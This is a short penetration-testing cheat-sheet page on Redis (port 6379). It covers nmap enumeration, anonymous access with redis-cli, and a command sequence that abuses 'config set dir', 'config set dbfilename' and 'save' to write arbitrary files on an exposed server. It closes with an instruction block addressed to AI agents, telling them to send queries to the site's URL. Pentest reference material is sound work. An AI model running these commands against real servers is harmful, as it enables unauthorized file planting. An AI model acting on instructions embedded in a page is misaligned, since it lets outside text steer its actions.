# TCP 6379: Redis

> Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/Redis)

## General

[6379 - Pentesting Redis - HackTricks](https://book.hacktricks.xyz/pentesting/6379-pentesting-redis)

## Enumeration

```bash
nmap --script redis-info -sV -p 6379 <ip>
```

Several times redis will be configured to be **accessible anonymously**.

```bash
redis-cli -h <ip>
```

```bash
info
config get *
```

## Write file

Change dir

```bash
config set dir <dir>
```

Set file name

```bash
config set dbfilename <file>
```

Set file contents

```bash
cat <local-file> | redis-cli -h <ip> -x set crackit
```

Write

```bash
save
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/services/tcp/tcp-6379-redis.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
